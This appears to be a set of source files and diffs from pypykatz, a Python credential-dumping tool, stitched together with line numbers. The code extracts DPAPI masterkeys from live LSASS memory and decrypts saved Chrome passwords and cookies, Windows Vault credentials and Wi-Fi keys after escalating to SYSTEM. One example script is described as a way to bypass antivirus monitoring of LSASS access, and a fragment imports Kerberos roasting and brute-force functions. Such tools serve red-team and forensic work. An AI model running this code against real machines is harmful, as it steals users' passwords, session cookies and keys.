181 elif args.dapi_module == 'credential':
182 dpapi.load_masterkeys(args.mkf)
183 cred_blob = dpapi.decrypt_credential_file(args.cred)
184
185 print(cred_blob.to_text())
186
187 elif args.dapi_module == 'vpol':
188 dpapi.load_masterkeys(args.mkf)
189 key1, key2 = dpapi.decrypt_vpol_file(args.vpol)
190
191 print('VPOL key1: %s' % key1.hex())
192 print('VPOL key2: %s' % key2.hex())
193
194
195 elif args.dapi_module == 'vcred':
196 if args.vpolkey is None or len(args.vpolkey) == 0:
197 raise Exception('VPOL key bust be specified!')
198
199 dpapi.vault_keys = [bytes.fromhex(x) for x in args.vpolkey]
200 res = dpapi.decrypt_vcrd_file(args.vcred)
201 for attr in res:
202 for i in range(len(res[attr])):
203 if res[attr][i] is not None:
204 print('AttributeID: %s Key %s' % (attr.id, i))
205 print(hexdump(res[attr][i]))
206
207 elif args.dapi_module == 'securestring':
208 dpapi.load_masterkeys(args.mkf)
209
210 try:
211 bytes.fromhex(args.securestring)
212 except Exception as e:
213 print('Error! %s' %e)
214 dec_sec = dpapi.decrypt_securestring_file(args.securestring)
215 else:
216 dec_sec = dpapi.decrypt_securestring_hex(args.securestring)
217
218 print('HEX: %s' % dec_sec.hex())
219 print('STR: %s' % dec_sec.decode('utf-16-le'))
220
221 elif args.dapi_module == 'blob':
222 dpapi.load_masterkeys(args.mkf)
223
224 try:
225 bytes.fromhex(args.securestring)
226 except Exception as e:
227 print('Error! %s' %e)
228 dec_sec = dpapi.decrypt_securestring_file(args.securestring)
229 else:
230 dec_sec = dpapi.decrypt_securestring_hex(args.securestring)
231
232 print('HEX: %s' % dec_sec.hex())
233 print('STR: %s' % dec_sec.decode('utf-16-le'))
234
235
236
237 def run_live(self, args):
238 if platform.system().lower() != 'windows':
239 raise Exception('Live commands only work on Windows!')
240
241 from pypykatz.dpapi.dpapi import DPAPI
242 dpapi = DPAPI(use_winapi=True)
243
244 if args.livedpapicommand == 'keys':
245 from pypykatz.dpapi.dpapi import prepare_dpapi_live
246
247 dpapi = prepare_dpapi_live(args.method)
248
249 if args.outfile is not None:
250 dpapi.dump_pre_keys(args.outfile + '_prekeys')
251 dpapi.dump_masterkeys(args.outfile + '_masterkeys')
252 else:
253 dpapi.dump_pre_keys()
254 dpapi.dump_masterkeys()
255
256 return
257
258 elif args.livedpapicommand == 'cred':
259 cred_blob = dpapi.decrypt_credential_file(args.credfile)
260 print(cred_blob.to_text())
261
262 elif args.livedpapicommand == 'vpol':
263 key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile)
264 print('VPOL key1: %s' % key1.hex())
265 print('VPOL key2: %s' % key2.hex())
266
267 elif args.livedpapicommand == 'vcred':
268 key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile)
269 res = dpapi.decrypt_vcrd_file(args.vcredfile)
270 for attr in res:
271 for i in range(len(res[attr])):
272 if res[attr][i] is not None:
273 print('AttributeID: %s Key %s' % (attr.id, i))
274 print(hexdump(res[attr][i]))
275
276
277 elif args.livedpapicommand == 'securestring':
278 dec_sec = dpapi.decrypt_securestring_hex(args.securestring)
279 print('HEX: %s' % dec_sec.hex())
280 print('STR: %s' % dec_sec.decode('utf-16-le'))
281
282 elif args.livedpapicommand == 'securestringfile':
283 data = args.data[0]
284 dec_sec = dpapi.decrypt_securestring_file(data)
285 print('HEX: %s' % dec_sec.hex())
286 print('STR: %s' % dec_sec.decode('utf-16-le'))
287
288 elif args.livedpapicommand == 'blob':
289 dec_sec = dpapi.decrypt_securestring_hex(args.blob)
290 print('HEX: %s' % dec_sec.hex())
291
292 elif args.livedpapicommand == 'blobfile':
293 dec_sec = dpapi.decrypt_securestring_file(args.blobfile)
294 print('HEX: %s' % dec_sec.hex())
295
296 elif args.livedpapicommand == 'chrome':
297 res = dpapi.decrypt_all_chrome_live()
298 for file_path, url, user, password in res['logins']:
299 print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url))
300 for file_path, host_key, name, path, value in res['cookies']:
301 print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value))
302
303 elif args.livedpapicommand == 'wifi':
304 for wificonfig in dpapi.decrypt_wifi_live():
305 print('%s : %s' % (wificonfig['name'], wificonfig['key']))
44 #
55
66 import os
7 import ntpath
78 import json
89 import hmac
910 import hashlib
11 import glob
12 import sqlite3
13 import base64
14 import platform
1015 from hashlib import sha1, pbkdf2_hmac
16 import xml.etree.ElementTree as ET
1117
1218 from pypykatz import logger
1319 from pypykatz.dpapi.structures.masterkeyfile import MasterKeyFile
1622 from pypykatz.dpapi.structures.vault import VAULT_VCRD, VAULT_VPOL, VAULT_VPOL_KEYS
1723
1824 from pypykatz.crypto.unified.aes import AES
25 from pypykatz.crypto.unified.aesgcm import AES_GCM
1926 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
2027 from pypykatz.commons.common import UniversalEncoder
28
29 if platform.system().lower() == 'windows':
30 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
2131
2232 """
2333 So! DPAPI...
7989 """
8090
8191 class DPAPI:
82 def __init__(self):
83 #pre-keys
84 self.user_keys = []
85 self.machine_keys = []
92 def __init__(self, use_winapi = False):
93 self.use_winapi = use_winapi
94 self.prekeys = {} #keys in bytes format stored in a dict for avoiding dupes
8695
8796 #masterkey, backupkey
8897 self.masterkeys = {} #guid -> binary value
91100 #since so far I dunno how to match vault-keys to vaults, its a list :(
92101 self.vault_keys = []
93102
94 @staticmethod
95 def list_masterkeys():
96 #logger.debug('Searching for MasterKey files...')
97 #appdata = os.environ.get('APPDATA')
98 #'%APPDATA%\Microsoft\Protect\%SID%'
99 #'%SYSTEMDIR%\Microsoft\Protect'
100 # TODO: implement this
101 pass
102103
103104 def dump_pre_keys(self, filename = None):
104105 if filename is None:
105 for x in self.user_keys:
106 print(x.hex())
107 for x in self.machine_keys:
106 for x in self.prekeys:
108107 print(x.hex())
109108 else:
110109 with open(filename, 'w', newline = '') as f:
111 for x in self.user_keys:
110 for x in self.prekeys:
112111 f.write(x.hex() + '\r\n')
113 for x in self.machine_keys:
114 f.write(x.hex() + '\r\n')
115
116 def load_pre_keys(self, filename):
112
113 def load_prekeys(self, filename):
117114 with open(filename, 'r') as f:
118115 for line in f:
119116 line = line.strip()
120 self.user_keys.append(bytes.fromhex(line))
117 self.prekeys[bytes.fromhex(line)] = 1
121118
122119 def dump_masterkeys(self, filename = None):
123120 if filename is None:
140137 for guid in data['masterkeys']:
141138 self.masterkeys[guid] = bytes.fromhex(data['masterkeys'][guid])
142139
143 print(self.masterkeys)
144140
145141 def get_prekeys_from_password(self, sid, password = None, nt_hash = None):
146142 """
160156 nt_hash = bytes.fromhex(nt_hash)
161157 key1 = None
162158
163 if password:
159 if password or password == '':
164160 md4 = hashlib.new('md4')
165161 md4.update(password.encode('utf-16le'))
166162 nt_hash = md4.digest()
174170 key3 = hmac.new(tmp_key_2, (sid + '\0').encode('utf-16le'), sha1).digest()[:20]
175171
176172 if key1 is not None:
177 self.user_keys.append(key1)
178 self.user_keys.append(key2)
179 self.user_keys.append(key3)
180
181 #print(key1.hex(), key2.hex(), key3.hex())
173 self.prekeys[key1] = 1
174 self.prekeys[key2] = 1
175 self.prekeys[key3] = 1
176
177 if key1 is not None:
178 logger.debug('Prekey_1 %s %s %s %s' % (sid, password, nt_hash, key1.hex()))
179 logger.debug('Prekey_2 %s %s %s %s' % (sid, password, nt_hash, key2.hex()))
180 logger.debug('Prekey_3 %s %s %s %s' % (sid, password, nt_hash, key3.hex()))
181
182182 return key1, key2, key3
183183
184184 def __get_registry_secrets(self, lr):
197197 if isinstance(secret, LSASecretDPAPI):
198198 logger.debug('[DPAPI] Found DPAPI user key in registry! Key: %s' % secret.user_key)
199199 logger.debug('[DPAPI] Found DPAPI machine key in registry! Key: %s' % secret.machine_key)
200 self.user_keys.append(secret.user_key)
200 self.prekeys[secret.user_key] = 1
201201 user.append(secret.user_key)
202 self.machine_keys.append(secret.machine_key)
202 self.prekeys[secret.machine_key] = 1
203203 machine.append(secret.machine_key)
204204
205205 if lr.sam is not None:
255255 else:
256256 raise Exception('[DPAPI] Registry parsing failed!')
257257
258 def get_all_keys_from_lsass_live(self):
259 """
260 Parses the live LSASS process and extracts the plaintext masterkeys, and also generates prekeys from all available credentials
261 It does not retun anything, just sets up all key material in the object
262 return: None
263 """
264 from pypykatz.pypykatz import pypykatz
265 katz = pypykatz.go_live()
266 sids = [katz.logon_sessions[x].sid for x in katz.logon_sessions]
267 for x in katz.logon_sessions:
268 for dc in katz.logon_sessions[x].dpapi_creds:
269 logger.debug('[DPAPI] Got masterkey for GUID %s via live LSASS method' % dc.key_guid)
270 self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey)
271
272 for package,_,_, nthex, lmhex, shahex, _,_,_, plaintext in katz.logon_sessions[x].to_grep_rows():
273 if package.lower() == 'dpapi':
274 continue
275
276 sids = [katz.logon_sessions[x].sid]
277 for sid in sids:
278 if plaintext is not None:
279 self.get_prekeys_from_password(sid, password = plaintext, nt_hash = None)
280 if nthex is not None and len(nthex) == 32:
281 self.get_prekeys_from_password(sid, password = None, nt_hash = nthex)
282
283 if shahex is not None and len(shahex) == 40:
284 self.prekeys[bytes.fromhex(shahex)] = 1
285
258286 def get_masterkeys_from_lsass_live(self):
259287 """
260288 Parses the live LSASS process and extracts the plaintext masterkeys
283311 for dc in katz.logon_sessions[x].dpapi_creds:
284312 logger.debug('[DPAPI] Got masterkey for GUID %s via minidump LSASS method' % dc.key_guid)
285313 self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey)
314
315 for package,_,_, nthex, lmhex, shahex, _,_,_, plaintext in katz.logon_sessions[x].to_grep_rows():
316 if package.lower() == 'dpapi':
317 continue
318
319 sids = [katz.logon_sessions[x].sid]
320 for sid in sids:
321 if plaintext is not None:
322 self.get_prekeys_from_password(sid, password = plaintext, nt_hash = None)
323 if nthex is not None and len(nthex) == 32:
324 self.get_prekeys_from_password(sid, password = None, nt_hash = nthex)
325
326 if shahex is not None and len(shahex) == 40:
327 self.prekeys[bytes.fromhex(shahex)] = 1
286328
287329 return self.masterkeys
288330
308350 mks = {}
309351 bks = {}
310352 if mkf.masterkey is not None:
311 for user_key in self.user_keys:
312 dec_key = mkf.masterkey.decrypt(user_key)
313 if dec_key:
314 self.masterkeys[mkf.guid] = dec_key
315 mks[mkf.guid] = dec_key
316
317 for machine_key in self.machine_keys:
318 dec_key = mkf.masterkey.decrypt(machine_key)
319 if dec_key:
320 self.masterkeys[mkf.guid] = dec_key
321 mks[mkf.guid] = dec_key
322
323 if key is not None:
324 dec_key = mkf.masterkey.decrypt(key)
325 if dec_key:
326 self.masterkeys[mkf.guid] = dec_key
327 mks[mkf.guid] = dec_key
353 if mkf.guid in self.masterkeys:
354 mks[mkf.guid] = self.masterkeys[mkf.guid]
355
356 else:
357 for user_key in self.prekeys:
358 dec_key = mkf.masterkey.decrypt(user_key)
359 if dec_key:
360 logger.debug('user key win: %s' % user_key.hex())
361 self.masterkeys[mkf.guid] = dec_key
362 mks[mkf.guid] = dec_key
363 break
364
365 if key is not None:
366 dec_key = mkf.masterkey.decrypt(key)
367 if dec_key:
368 self.masterkeys[mkf.guid] = dec_key
369 mks[mkf.guid] = dec_key
328370
329371 if mkf.backupkey is not None:
330 for user_key in self.user_keys:
331 dec_key = mkf.backupkey.decrypt(user_key)
332 if dec_key:
333 self.backupkeys[mkf.guid] = dec_key
334 bks[mkf.guid] = dec_key
335
336 for machine_key in self.machine_keys:
337 dec_key = mkf.backupkey.decrypt(machine_key)
338 if dec_key:
339 self.backupkeys[mkf.guid] = dec_key
340 bks[mkf.guid] = dec_key
341
342 if key is not None:
343 dec_key = mkf.backupkey.decrypt(key)
344 if dec_key:
345 self.masterkeys[mkf.guid] = dec_key
346 bks[mkf.guid] = dec_key
372 if mkf.guid in self.masterkeys:
373 mks[mkf.guid] = self.masterkeys[mkf.guid]
374
375 else:
376 for user_key in self.prekeys:
377 dec_key = mkf.backupkey.decrypt(user_key)
378 if dec_key:
379 self.backupkeys[mkf.guid] = dec_key
380 bks[mkf.guid] = dec_key
381 break
382
383 if key is not None:
384 dec_key = mkf.backupkey.decrypt(key)
385 if dec_key:
386 self.masterkeys[mkf.guid] = dec_key
387 bks[mkf.guid] = dec_key
347388
348389 return mks, bks
349390
350 def decrypt_credential_file(self, file_path, key = None):
391 def decrypt_credential_file(self, file_path):
351392 """
352393 Decrypts CredentialFile
353394 file_path: path to CredentialFile
354 key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
355395 returns: CREDENTIAL_BLOB object
356396 """
357 if key is not None:
358 if isinstance(key, str):
359 key = bytes.fromhex(key)
360397 with open(file_path, 'rb') as f:
361 return self.decrypt_credential_bytes(f.read(), key = key)
362
363 def decrypt_credential_bytes(self, data, key = None):
398 return self.decrypt_credential_bytes(f.read())
399
400 def decrypt_credential_bytes(self, data):
364401 """
365402 Decrypts CredentialFile bytes
366403 CredentialFile holds one DPAPI blob, so the decryption is straightforward, and it also has a known structure for the cleartext.
367404 Pay attention that the resulting CREDENTIAL_BLOB strucutre's fields can hold the secrets in wierd filenames like "unknown"
368405
369406 data: CredentialFile bytes
370 key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
371407 returns: CREDENTIAL_BLOB object
372408 """
373409 cred = CredentialFile.from_bytes(data)
374 dec_data = self.decrypt_blob(cred.blob, key = key)
410 dec_data = self.decrypt_blob_bytes(cred.data)
375411 cb = CREDENTIAL_BLOB.from_bytes(dec_data)
376412 return cb
377413
398434 data: DPAPI_BLOB bytes
399435 returns: bytes of the cleartext data
400436 """
437 if self.use_winapi is True:
438 from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData
439 return CryptUnprotectData(data)
440
401441 blob = DPAPI_BLOB.from_bytes(data)
442 logger.debug(str(blob))
402443 return self.decrypt_blob(blob, key = key)
403444
404 def decrypt_vcrd_file(self, file_path, key = None):
445 def decrypt_vcrd_file(self, file_path):
405446 """
406447 Decrypts a VCRD file
407448 Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vcrd
409450 file_path: path to the vcrd file
410451 returns: dictionary of attrbitues as key, and a list of possible decrypted data
411452 """
412
413 if key is not None:
414 if isinstance(key, str):
415 key = bytes.fromhex(key)
416
417453 with open(file_path, 'rb') as f:
418 return self.decrypt_vcrd_bytes(f.read(), key = key)
419
420 def decrypt_vcrd_bytes(self, data, key = None):
454 return self.decrypt_vcrd_bytes(f.read())
455
456 def decrypt_vcrd_bytes(self, data):
421457 """
422458 Decrypts VCRD file bytes.
423459
425461 returns: dictionary of attrbitues as key, and a list of possible decrypted data
426462 """
427463 vv = VAULT_VCRD.from_bytes(data)
428 return self.decrypt_vcrd(vv, key = key)
429
430 def decrypt_vcrd(self, vcrd, key = None):
464 return self.decrypt_vcrd(vv)
465
466 def decrypt_vcrd(self, vcrd):
431467 """
432468 Decrypts the attributes found in a VCRD object, and returns the cleartext data candidates
433469 A VCRD file can have a lot of stored credentials inside, most of them with custom data strucutre
449485 return cleartext
450486
451487 res = {}
452 if key is None:
453 for i, key in enumerate(self.vault_keys):
454 for attr in vcrd.attributes:
455 cleartext = decrypt_attr(attr, key)
456 if attr not in res:
457 res[attr] = []
458 res[attr].append(cleartext)
459 else:
488 for i, key in enumerate(self.vault_keys):
460489 for attr in vcrd.attributes:
461 decrypt_attr(attr, key)
490 cleartext = decrypt_attr(attr, key)
462491 if attr not in res:
463492 res[attr] = []
464493 res[attr].append(cleartext)
465
466494 return res
467495
468 def decrypt_vpol_bytes(self, data, key = None):
496 def decrypt_vpol_bytes(self, data):
469497 """
470498 Decrypts the VPOL file, and returns the two keys' bytes
471499 A VPOL file stores two encryption keys.
474502 returns touple of bytes, describing two keys
475503 """
476504 vpol = VAULT_VPOL.from_bytes(data)
477 res = self.decrypt_blob(vpol.blob, key = key)
505 res = self.decrypt_blob_bytes(vpol.blobdata)
478506
479507 keys = VAULT_VPOL_KEYS.from_bytes(res)
480508
483511
484512 return keys.key1.get_key(), keys.key2.get_key()
485513
486 def decrypt_vpol_file(self, file_path, key = None):
514 def decrypt_vpol_file(self, file_path):
487515 """
488516 Decrypts a VPOL file
489517 Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vpol
492520 keys: Optional.
493521 returns: touple of bytes, describing two keys
494522 """
495 if key is not None:
496 if isinstance(key, str):
497 key = bytes.fromhex(key)
498523 with open(file_path, 'rb') as f:
499 return self.decrypt_vpol_bytes(f.read(), key = key)
500
524 return self.decrypt_vpol_bytes(f.read())
525
526 def decrypt_securestring_bytes(self, data):
527 return self.decrypt_blob_bytes(data)
528
529 def decrypt_securestring_hex(self, hex_str):
530 return self.decrypt_securestring_bytes(bytes.fromhex(hex_str))
531
532 def decrypt_securestring_file(self, file_path):
533 with open(file_path, 'r') as f:
534 data = f.read()
535 return self.decrypt_securestring_hex(data)
536
537
538 @staticmethod
539 def find_masterkey_files_live():
540 windows_loc = DPAPI.get_windows_dir_live()
541 user_folder = DPAPI.get_users_dir_live()
542
543 return DPAPI.find_masterkey_files_offline(user_folder, windows_loc)
544
545 @staticmethod
546 def find_masterkey_files_offline(users_path, windows_path):
547 def is_guid(fname):
548 if os.path.isfile(filename) is True:
549 base = ntpath.basename(filename)
550 if base.find('-') == -1:
551 return False
552 try:
553 bytes.fromhex(base.replace('-',''))
554 except:
555 return False
556 return True
557 return False
558
559 masterkey_files = {}
560 for filename in glob.glob(os.path.join(windows_path, "System32","Microsoft","Protect", "**"), recursive = True):
561 if is_guid(filename) is True:
562 logger.debug('GUID SYSTEM FILE: %s' % filename)
563 masterkey_files[ntpath.basename(filename)] = filename
564
565 user_folders = {}
566 for filename in glob.glob(os.path.join(users_path, '*'), recursive=False):
567 if os.path.isdir(filename):
568 user_folders[filename] = 1
569
570 for subfolder in ['Local', 'Roaming', 'LocalLow']:
571 for user_folder in user_folders:
572 for filename in glob.glob(os.path.join(user_folder, "AppData", subfolder, "Microsoft", "Protect", '**'), recursive = True):
573 if is_guid(filename) is True:
574 masterkey_files[ntpath.basename(filename)] = filename
575 logger.debug('GUID USER FILE: %s' % filename)
576
577 return masterkey_files
578
579 @staticmethod
580 def get_users_dir_live():
581 username = os.environ.get('USERNAME')
582 userprofile_loc = os.environ.get('USERPROFILE')
583 username = os.environ.get('USERNAME')
584 return userprofile_loc[:-len(username)]
585
586 @staticmethod
587 def get_windows_dir_live():
588 return os.environ.get('SystemRoot')
589
590 @staticmethod
591 def get_windows_drive_live():
592 return os.environ.get('SystemDrive')[0]
593
594 @staticmethod
595 def find_chrome_database_file_live():
596 return DPAPI.find_chrome_database_file_offline(DPAPI.get_users_dir_live())
597
598 @staticmethod
599 def find_chrome_database_file_offline(users_path):
600 db_paths = {} # username -> files
601 user_folders = {} # username -> folder
602
603 for filename in glob.glob(os.path.join(users_path, '*'), recursive=False):
604 if os.path.isdir(filename):
605 username = ntpath.basename(filename)
606 if username not in user_folders:
607 user_folders[username] = []
608 user_folders[username].append(filename)
609
610 for subfolder_1 in ['Local', 'Roaming', 'LocalLow']:
611 for subfolder_2 in ['', 'Google']:
612 for username in user_folders:
613 if username not in db_paths:
614 db_paths[username] = {}
615 for user_folder in user_folders[username]:
616 db_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data','Default','Login Data' )
617 if os.path.isfile(db_path) is True:
618 db_paths[username]['logindata'] = db_path
619 logger.debug('CHROME LOGINS DB FILE: %s' % db_path)
620
621 db_cookies_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data','Default','Cookies' )
622 if os.path.isfile(db_cookies_path) is True:
623 db_paths[username]['cookies'] = db_cookies_path
624 logger.debug('CHROME COOKIES DB FILE: %s' % db_cookies_path)
625
626 localstate_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data', 'Local State' )
627 if os.path.isfile(localstate_path) is True:
628 db_paths[username]['localstate'] = localstate_path
629 logger.debug('CHROME localstate FILE: %s' % localstate_path)
630
631 return db_paths
632
633 @staticmethod
634 def get_chrome_encrypted_secret(db_path):
635 results = {}
636 results['logins'] = []
637 results['cookies'] = []
638 results['localstate'] = []
639
640 try:
641 conn = sqlite3.connect(db_path)
642 cursor = conn.cursor()
643 except Exception as e:
644 logger.debug('Failed to open chrome DB file %s' % db_path)
645 return results
646
647 if ntpath.basename(db_path).lower() == 'cookies':
648 try:
649 #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py
650 cursor.execute('SELECT host_key, name, path, encrypted_value FROM cookies')
651 except Exception as e:
652 logger.debug('Failed perform query on chrome DB file %s Reason: %s' % (db_path, e))
653 return results
654
655 for host_key, name, path, encrypted_value in cursor.fetchall():
656 results['cookies'].append((host_key, name, path, encrypted_value))
657
658 elif ntpath.basename(db_path).lower() == 'login data':
659
660 try:
661 #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py
662 cursor.execute('SELECT action_url, username_value, password_value FROM logins')
663 except Exception as e:
664 logger.debug('Failed perform query on chrome DB file %s Reason: %s' % (db_path, e))
665 return results
666
667 for url, user, enc_pw in cursor.fetchall():
668 results['logins'].append((url, user, enc_pw))
669
670 return results
671
672 def decrypt_all_chrome_live(self):
673 results = {}
674 results['logins'] = []
675 results['cookies'] = []
676 localstate_dec = None
677
678 dbpaths = DPAPI.find_chrome_database_file_live()
679 for username in dbpaths:
680 if 'localstate' in dbpaths[username]:
681 with open(dbpaths[username]['localstate'], 'r') as f:
682 encrypted_key = json.load(f)['os_crypt']['encrypted_key']
683 encrypted_key = base64.b64decode(encrypted_key)
684
685 localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:])
686
687 if 'cookies' in dbpaths[username]:
688 secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies'])
689 for host_key, name, path, encrypted_value in secrets['cookies']:
690 if encrypted_value.startswith(b'v10'):
691 nonce = encrypted_value[3:3+12]
692 ciphertext = encrypted_value[3+12:-16]
693 tag = encrypted_value[-16:]
694 cipher = AES_GCM(localstate_dec)
695 dec_val = cipher.decrypt(nonce, ciphertext, tag, auth_data=b'')
696 results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val ))
697 else:
698 dec_val = self.decrypt_blob_bytes(encrypted_value)
699 results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val ))
700
701 if 'logindata' in dbpaths[username]:
702 secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata'])
703 for url, user, enc_password in secrets['logins']:
704 password = self.decrypt_blob_bytes(enc_password)
705 results['logins'].append((dbpaths[username]['logindata'], url, user, password ))
706
707
708 return results
709
710 def get_all_masterkeys_live(self):
711 try:
712 self.get_all_keys_from_lsass_live()
713 except:
714 logger.debug('Failed to get masterkeys/prekeys from LSASS!')
715
716 try:
717 self.get_prekeys_form_registry_live()
718 except Exception as e:
719 logger.debug('Failed to get masterkeys/prekeys from registry!')
720
721 mkfiles = DPAPI.find_masterkey_files_live()
722 for guid in mkfiles:
723 logger.debug('Decrypting masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid]))
724 mk, bk = self.decrypt_masterkey_file(mkfiles[guid])
725 if len(mk) > 0 or len(bk) > 0:
726 logger.debug('Decrypted masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid]))
727 else:
728 logger.debug('Failed to decrypt masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid]))
729
730 return self.masterkeys, self.backupkeys
731
732 @staticmethod
733 def parse_wifi_config_file(filepath):
734 wifi = {}
735 tree = ET.parse(filepath)
736 root = tree.getroot()
737
738 for child in root:
739 if child.tag.endswith('}name'):
740 wifi['name'] = child.text
741 elif child.tag.endswith('}MSM'):
742 for pc in child.iter():
743 if pc.tag.endswith('}keyMaterial'):
744 wifi['enckey'] = pc.text
745 return wifi
746
747 @staticmethod
748 def get_all_wifi_settings_offline(system_drive_letter):
749 wifis = []
750 for filename in glob.glob(system_drive_letter+':\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces\\**', recursive=True):
751 if filename.endswith('.xml'):
752 wifi = DPAPI.parse_wifi_config_file(filename)
753 wifis.append(wifi)
754 return wifis
755
756 @staticmethod
757 def get_all_wifi_settings_live():
758 return DPAPI.get_all_wifi_settings_offline(DPAPI.get_windows_drive_live())
759
760 def decrypt_wifi_live(self):
761 # key is encrypted as system!!!
762 pm = ProcessManipulator()
763 try:
764 try:
765 pm.getsystem()
766 except Exception as e:
767 raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e)
768
769 for wificonfig in DPAPI.get_all_wifi_settings_live():
770 if 'enckey' in wificonfig and wificonfig['enckey'] != '':
771 wificonfig['key'] = self.decrypt_securestring_hex(wificonfig['enckey'])
772 yield wificonfig
773
774 finally:
775 pm.dropsystem()
776
777 # arpparse helper
778 def prepare_dpapi_live(methods = [], mkf = None, pkf = None):
779 dpapi = DPAPI()
780
781 if mkf is not None:
782 dpapi.load_masterkeys(mkf)
783 if pkf is not None:
784 dpapi.load_prekeys(mkf)
785
786 if 'all' in methods:
787 dpapi.get_all_masterkeys_live()
788 if 'registry' in methods and 'all' not in methods:
789 dpapi.get_prekeys_form_registry_live()
790 if 'lsass' in methods and 'all' not in methods:
791 dpapi.get_masterkeys_from_lsass_live()
792
793 return dpapi
0 from ctypes import byref, Structure, c_char, c_buffer, string_at, windll, c_void_p, c_uint32, POINTER, c_wchar_p, WinError
1
2 LPWSTR = c_wchar_p
3 LPVOID = c_void_p
4 PVOID = LPVOID
5 PPVOID = POINTER(PVOID)
6 DWORD = c_uint32
7
8 def RaiseIfZero(result, func = None, arguments = ()):
9 """
10 Error checking for most Win32 API calls.
11
12 The function is assumed to return an integer, which is C{0} on error.
13 In that case the C{WindowsError} exception is raised.
14 """
15 if not result:
16 raise WinError()
17 return result
18
19 class DATA_BLOB(Structure):
20 _fields_ = [
21 ('cbData', DWORD),
22 ('pbData', POINTER(c_char))
23 ]
24 PDATA_BLOB = POINTER(DATA_BLOB)
25
26 # https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata
27 def CryptUnprotectData(enc_blob, entropy = None, to_prompt = False):
28 _CryptUnprotectData = windll.crypt32.CryptUnprotectData
29 _CryptUnprotectData.argtypes = [PDATA_BLOB, LPWSTR, PDATA_BLOB, PVOID, DWORD, DWORD, PDATA_BLOB]
30 _CryptUnprotectData.restype = bool
31 _CryptUnprotectData.errcheck = RaiseIfZero
32
33 buffer_in = c_buffer(enc_blob, len(enc_blob))
34 blob_in = DATA_BLOB(len(enc_blob), buffer_in)
35 blob_out = DATA_BLOB()
36
37 if entropy is not None:
38 buffer_entropy = c_buffer(entropy, len(entropy))
39 blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)
40 _CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0, byref(blob_out))
41 else:
42 _CryptUnprotectData(byref(blob_in), None, None, None, 0, 0, byref(blob_out))
43
44 dec_data = string_at(blob_out.pbData, blob_out.cbData)
45 return dec_data
46
47 if __name__ == '__main__':
48 enc_data = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f3d1f4bf6f35b469eb9719205c9c1160000000002000000000003660000c000000010000000ef8ad11a2c0a0fa867c4bc8ea535c3b10000000004800000a000000010000000beb718a641f76dff7fb9f6edb0da69061800000068cdb387e412d6e097cd7db04af8638247b9b4987cd5048714000000bb10d25466234b082ac4052360ed3d57e8951367')
49 dec_data = CryptUnprotectData(enc_data)
50 print(dec_data)
182182 self.guid3 = None
183183 self.key_size = None
184184 self.blob = None #encrypted VAULT_VPOL_KEYS
185 self.blobdata = None #encrypted VAULT_VPOL_KEYS
185186
186187 @staticmethod
187188 def from_bytes(data):
199200 sk.guid2 = GUID(buff).value
200201 sk.guid3 = GUID(buff).value
201202 sk.key_size = int.from_bytes(buff.read(4), 'little', signed = False)
202 sk.blob = DPAPI_BLOB.from_bytes(buff.read(sk.key_size))
203 sk.blobdata = buff.read(sk.key_size)
204 sk.blob = DPAPI_BLOB.from_bytes(sk.blobdata)
203205
204206 return sk
205207
0
1 #
2 # In case you happen to have a DLL that has an export which returns a handle to LSASS process
3 # You can use this example to load such DLL via ctypes and call pypykatz using said handle
4 # Might be interesting to bypass AV monitoring openprocess on LSASS
5 #
6
7 from ctypes import windll, c_void_p
8 from pypykatz.pypykatz import pypykatz
9
10 dll_path = ''
11
12 def get_lsass_handle():
13 your_dll = windll.LoadLibrary(dll_path)
14 _your_function = your_dll.your_function
15 _your_function.argtypes = [] #I guess no args
16 _your_function.restype = c_void_p #this is basically a handle
17
18 phandle = _your_function()
19
20 return phandle
21
22
23 phandle = get_lsass_handle()
24 res = pypykatz.go_live_phandle(phandle)
25 print(str(res))
33 # Tamas Jos (@skelsec)
44 #
55
6 from pypykatz import logging
6 import base64
7 import platform
8 import argparse
9 import asyncio
10 from pypykatz import logger
11 import traceback
12
13 from minikerberos.common.utils import print_table
14 from pypykatz.commons.filetime import filetime_to_dt
15 from pypykatz.commons.common import geterr
16 from pypykatz.kerberos.kerberos import get_TGS, get_TGT, generate_targets, \
17 brute, asreproast, spnroast, s4u, process_keytab, list_ccache, \
18 del_ccache, roast_ccache, ccache_to_kirbi, kirbi_to_ccache
19
20 from pypykatz.kerberos.kirbiutils import parse_kirbi, format_kirbi, print_kirbi
721
822 """
923 Kerberos is not part of pypykatz directly.
10 This is a wrapper for minikerberos and winsspi packages
24 This is a wrapper for minikerberos
1125 """
1226
1327 class KerberosCMDHelper:
1428 def __init__(self):
1529 self.live_keywords = ['kerberos']
